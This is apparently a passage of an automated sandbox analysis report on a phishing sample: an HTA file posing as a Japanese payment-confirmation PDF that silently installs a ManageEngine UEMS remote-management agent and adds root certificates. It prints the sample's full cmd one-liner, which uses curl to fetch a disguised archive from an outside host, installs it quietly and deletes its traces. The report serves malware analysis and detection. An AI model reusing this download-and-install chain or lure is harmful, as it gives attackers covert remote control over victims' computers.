\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net\2 = "C:\\Program Files (x86)\\ManageEngine\\UEMS_Agent\\Updates\\Healer\\" dcagentregister.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net dcagentservice.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net\2 = "C:\\Program Files (x86)\\ManageEngine\\UEMS_Agent\\Updates\\Healer\\" dcagentservice.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\F1322DA684FF95D4CA6204A5AF2ED37B msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Transforms = "C:\\Windows\\Installer\\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\\UEMSAgent.mst" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Clients = 3a0000000000 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products dcagentservice.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList dcagentservice.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\ProductName = "ManageEngine UEMS - Agent" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Version = "184879683" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B dcagentservice.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net dcagentregister.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer dcagentservice.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B msiexec.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList msiexec.exe - Modifies system certificate store 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\0D92AFF4C6FB3C599FA32CB978DD498ABA7443D2 dcagentregister.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F28618438628218770F398532E2B5CF9C0EE74F2 dcagentregister.exe - Runs net.exe
- Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 5024 msiexec.exe Token: SeIncreaseQuotaPrivilege 5024 msiexec.exe Token: SeSecurityPrivilege 5768 msiexec.exe Token: SeCreateTokenPrivilege 5024 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 5024 msiexec.exe Token: SeLockMemoryPrivilege 5024 msiexec.exe Token: SeIncreaseQuotaPrivilege 5024 msiexec.exe Token: SeMachineAccountPrivilege 5024 msiexec.exe Token: SeTcbPrivilege 5024 msiexec.exe Token: SeSecurityPrivilege 5024 msiexec.exe Token: SeTakeOwnershipPrivilege 5024 msiexec.exe Token: SeLoadDriverPrivilege 5024 msiexec.exe Token: SeSystemProfilePrivilege 5024 msiexec.exe Token: SeSystemtimePrivilege 5024 msiexec.exe Token: SeProfSingleProcessPrivilege 5024 msiexec.exe Token: SeIncBasePriorityPrivilege 5024 msiexec.exe Token: SeCreatePagefilePrivilege 5024 msiexec.exe Token: SeCreatePermanentPrivilege 5024 msiexec.exe Token: SeBackupPrivilege 5024 msiexec.exe Token: SeRestorePrivilege 5024 msiexec.exe Token: SeShutdownPrivilege 5024 msiexec.exe Token: SeDebugPrivilege 5024 msiexec.exe Token: SeAuditPrivilege 5024 msiexec.exe Token: SeSystemEnvironmentPrivilege 5024 msiexec.exe Token: SeChangeNotifyPrivilege 5024 msiexec.exe Token: SeRemoteShutdownPrivilege 5024 msiexec.exe Token: SeUndockPrivilege 5024 msiexec.exe Token: SeSyncAgentPrivilege 5024 msiexec.exe Token: SeEnableDelegationPrivilege 5024 msiexec.exe Token: SeManageVolumePrivilege 5024 msiexec.exe Token: SeImpersonatePrivilege 5024 msiexec.exe Token: SeCreateGlobalPrivilege 5024 msiexec.exe Token: SeRestorePrivilege 5768 msiexec.exe Token: SeTakeOwnershipPrivilege 5768 msiexec.exe Token: SeRestorePrivilege 5768 msiexec.exe Token: SeTakeOwnershipPrivilege 5768 msiexec.exe Token: SeRestorePrivilege 5768 msiexec.exe Token: SeTakeOwnershipPrivilege 5768 msiexec.exe Token: SeRestorePrivilege 5768 msiexec.exe Token: SeTakeOwnershipPrivilege 5768 msiexec.exe Token: SeRestorePrivilege 5768 msiexec.exe Token: SeTakeOwnershipPrivilege 5768 msiexec.exe Token: SeRestorePrivilege 5768 msiexec.exe Token: SeTakeOwnershipPrivilege 5768 msiexec.exe Token: SeRestorePrivilege 5768 msiexec.exe Token: SeTakeOwnershipPrivilege 5768 msiexec.exe Token: SeRestorePrivilege 5768 msiexec.exe Token: SeTakeOwnershipPrivilege 5768 msiexec.exe Token: SeRestorePrivilege 3460 7za.exe Token: 35 3460 7za.exe Token: SeSecurityPrivilege 3460 7za.exe Token: SeSecurityPrivilege 3460 7za.exe Token: SeRestorePrivilege 1920 7za.exe Token: 35 1920 7za.exe Token: SeSecurityPrivilege 1920 7za.exe Token: SeSecurityPrivilege 1920 7za.exe Token: SeRestorePrivilege 2012 7za.exe Token: 35 2012 7za.exe Token: SeSecurityPrivilege 2012 7za.exe Token: SeSecurityPrivilege 2012 7za.exe Token: SeDebugPrivilege 4272 dcusbsummary.exe Token: SeDebugPrivilege 2656 dcswmeter.exe Token: SeRestorePrivilege 5768 msiexec.exe Token: SeTakeOwnershipPrivilege 5768 msiexec.exe - Suspicious use of SetWindowsHookEx 4 IoCs
pid Process 5024 msiexec.exe 5768 msiexec.exe 6016 MsiExec.exe 4272 dcusbsummary.exe - Suspicious use of WriteProcessMemory 38 IoCs
description pid Process procid_target PID 3208 wrote to memory of 5896 3208 mshta.exe 88 PID 5896 wrote to memory of 4780 5896 cmd.exe 90 PID 5896 wrote to memory of 3656 5896 cmd.exe 91 PID 5896 wrote to memory of 4864 5896 cmd.exe 92 PID 5896 wrote to memory of 5024 5896 cmd.exe 93 PID 5768 wrote to memory of 6016 5768 msiexec.exe 95 PID 5768 wrote to memory of 4156 5768 msiexec.exe 96 PID 4156 wrote to memory of 3652 4156 dcagentregister.exe 97 PID 3652 wrote to memory of 3528 3652 cmd.exe 99 PID 3528 wrote to memory of 5908 3528 net.exe 100 PID 3652 wrote to memory of 620 3652 cmd.exe 101 PID 3652 wrote to memory of 2180 3652 cmd.exe 102 PID 3652 wrote to memory of 3108 3652 cmd.exe 104 PID 3652 wrote to memory of 4396 3652 cmd.exe 105 PID 3652 wrote to memory of 6104 3652 cmd.exe 106 PID 4156 wrote to memory of 5608 4156 dcagentregister.exe 107 PID 5608 wrote to memory of 3460 5608 cmd.exe 109 PID 4156 wrote to memory of 1920 4156 dcagentregister.exe 114 PID 4156 wrote to memory of 2012 4156 dcagentregister.exe 116 PID 4156 wrote to memory of 3732 4156 dcagentregister.exe 118 PID 2600 wrote to memory of 1904 2600 dcagentservice.exe 121 PID 2600 wrote to memory of 4272 2600 dcagentservice.exe 124 PID 2600 wrote to memory of 1264 2600 dcagentservice.exe 123 PID 4272 wrote to memory of 1252 4272 dcusbsummary.exe 126 PID 2600 wrote to memory of 3904 2600 dcagentservice.exe 128 PID 2600 wrote to memory of 2180 2600 dcagentservice.exe 130 PID 2600 wrote to memory of 2656 2600 dcagentservice.exe 132 PID 4156 wrote to memory of 5688 4156 dcagentregister.exe 134 PID 2600 wrote to memory of 4432 2600 dcagentservice.exe 135 PID 5896 wrote to memory of 4964 5896 cmd.exe 137 PID 2600 wrote to memory of 4192 2600 dcagentservice.exe 138 PID 4192 wrote to memory of 712 4192 dcconfig.exe 140 PID 5688 wrote to memory of 4676 5688 dcagentregister.exe 142 PID 4676 wrote to memory of 5584 4676 cmd.exe 144 PID 1692 wrote to memory of 4488 1692 UEMSAgentHealthChecker.exe 147 PID 1692 wrote to memory of 4252 1692 UEMSAgentHealthChecker.exe 149 PID 1692 wrote to memory of 5980 1692 UEMSAgentHealthChecker.exe 151 PID 4192 wrote to memory of 5784 4192 dcconfig.exe 154 - cURL User-Agent 1 IoCs
Uses User-Agent string associated with cURL utility.
description flow ioc HTTP User-Agent header 2 curl/8.8.0
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\お支払い確認書.pdf.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:3208 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd.exe /c del /f /q "C:\Users\Admin\AppData\Local\Temp\UEMSAgent.lock" 2>nul & echo Installing... > "C:\Users\Admin\AppData\Local\Temp\UEMSAgent.lock" && curl -L -o "%TEMP%\file_9AWKS9LP.zip" "https://ssmail.ink/down/223/setup.png" && if not exist "%TEMP%\extracted_9AWKS9LP" mkdir "%TEMP%\extracted_9AWKS9LP" 2>nul && tar -xf "%TEMP%\file_9AWKS9LP.zip" -C "%TEMP%\extracted_9AWKS9LP" && cd /d "%TEMP%\extracted_9AWKS9LP" && start /wait msiexec /i "UEMSAgent.msi" /quiet TRANSFORMS="UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="%cd%\DMRootCA-Server.crt" DS_ROOT_CRT="%cd%\DMRootCA.crt" && timeout /t 3 /nobreak >nul && cd /d "%TEMP%" && del /f /q "file_9AWKS9LP.zip" && rd /s /q "extracted_9AWKS9LP" && del /f /q "C:\Users\Admin\AppData\Local\Temp\UEMSAgent.lock"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5896 -
C:\Windows\SysWOW64\cmd.execmd.exe /c del /f /q "C:\Users\Admin\AppData\Local\Temp\UEMSAgent.lock"3⤵
- System Location Discovery: System Language Discovery
PID:4780
-
-
C:\Windows\SysWOW64\curl.execurl -L -o "C:\Users\Admin\AppData\Local\Temp\file_9AWKS9LP.zip" "https://ssmail.ink/down/223/setup.png"3⤵
- System Location Discovery: System Language Discovery
PID:3656
-
-
C:\Windows\SysWOW64\tar.exetar -xf "C:\Users\Admin\AppData\Local\Temp\file_9AWKS9LP.zip" -C "C:\Users\Admin\AppData\Local\Temp\extracted_9AWKS9LP"3⤵PID:4864
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec /i "UEMSAgent.msi" /quiet TRANSFORMS="UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\DMRootCA.crt"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:5024
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 3 /nobreak3⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
PID:4964
-
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Badlisted process makes network request
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5768 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 2F171F5943AF6E5150C89E50188BA6D32⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:6016
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe" -i dc2⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies trusted root certificate store through registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4156 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\setAppPermission_Internal.bat" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\""3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3652 -
C:\Windows\SysWOW64\net.exenet session4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3528 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 session5⤵
- System Location Discovery: System Language Discovery
PID:5908
-
-
-
C:\Windows\SysWOW64\icacls.exe"C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /grant *S-1-5-18:(OI)(CI)F /T /Q /grant *S-1-5-32-544:(OI)(CI)F /T /Q4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:620
-
-
C:\Windows\SysWOW64\icacls.exe"C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /grant:r "EBMSDFDP\Admin":(OI)(CI)F /T /Q4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:2180
-
-
C:\Windows\SysWOW64\icacls.exe"C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /inheritance:r4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:3108
-
-
C:\Windows\SysWOW64\icacls.exe"C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /remove:g "CREATOR OWNER" /T /Q /remove:g "BUILTIN\Users" /T /Q /remove:g *S-1-15-2-1 /T /Q4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:4396
-
-
C:\Windows\SysWOW64\icacls.exe"C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /remove:g *S-1-5-11 /T /Q /remove:g *S-1-15-2-2 /T /Q4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:6104
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json""3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5608 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" -so4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:3460
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za e -mx9 "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\agent_binaries.7z" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\" -y3⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:1920
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e -aoa "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\locale_resources.zip" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\"3⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:2012
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe" -install 223⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:3732
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe" -p dc3⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:5688 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /C systeminfo.exe > "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\logs\systeminfo.log"4⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4676 -
C:\Windows\SysWOW64\systeminfo.exesysteminfo.exe5⤵
- System Location Discovery: System Language Discovery
- Gathers system information
- Modifies data under HKEY_USERS
PID:5584
-
-
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:1960
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2600 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\CRU_Reporter.exeCRU_Reporter.exe -RegisterCRU2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1904
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe7 0 02⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:1264
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe" -s ET_ENUM 9 2 "Unknown"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4272 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusb64.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusb64.exe" -s 93⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
PID:1252
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exebin\dcstatusutil.exe RequestAgentSlotFromServer2⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:3904
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:2180
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcswmeter.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\dcswmeter.exe" -s ET_COL2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:2656
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\dcinventory.exe" -s prenotify2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:4432
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe3 0 02⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:4192 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe163⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:712
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exebin\dcinventory.exe -p processor compatibility3⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:5784
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcuploadlogs.exerefresh3⤵PID:1284
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" OSDetection.json3⤵PID:4436
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\\OSDetection.json.gz" OSDetection.json3⤵PID:2524
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\deployment-policies.xml1504.tmp" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\deployment-policies.xml1504.tmpnew""3⤵
- Executes a command shell one-liner
PID:3108 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\deployment-policies.xml1504.tmp" -so4⤵PID:2836
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcdriverupdates.dll.gz" *3⤵PID:4616
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcdriverupdates.dll.gz" dcdriverupdates.dll3⤵PID:2228
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\drvforceupdate.exe.gz" *3⤵PID:2932
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\drvforceupdate.exe.gz" drvforceupdate.exe3⤵PID:3032
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcpatchutils.dll.gz" *3⤵PID:4320
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcpatchutils.dll.gz" dcpatchutils.dll3⤵PID:2120
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patch-scan-data.xml.gz" *3⤵PID:772
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patchutils.json.gz" *3⤵PID:2524
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "superseded-tree-scan-data.7z" superseded-tree-scan-data.xml3⤵PID:3952
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\applications.xml.gz" *3⤵PID:5172
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\hardware.json.gz" *3⤵PID:796
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patchresource.xml.gz" *3⤵PID:1700
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patchtodepfiles.xml.gz" *3⤵PID:2476
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DCProcessMonitor.exeDCProcessMonitor.exe2⤵PID:1288
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHealthChecker.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\UEMSAgentHealthChecker.exe"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1692 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe" UEMSAgent 12⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4488
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe" UEMSAgent 22⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4252
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe" UEMSAgent 42⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:5980
-
-
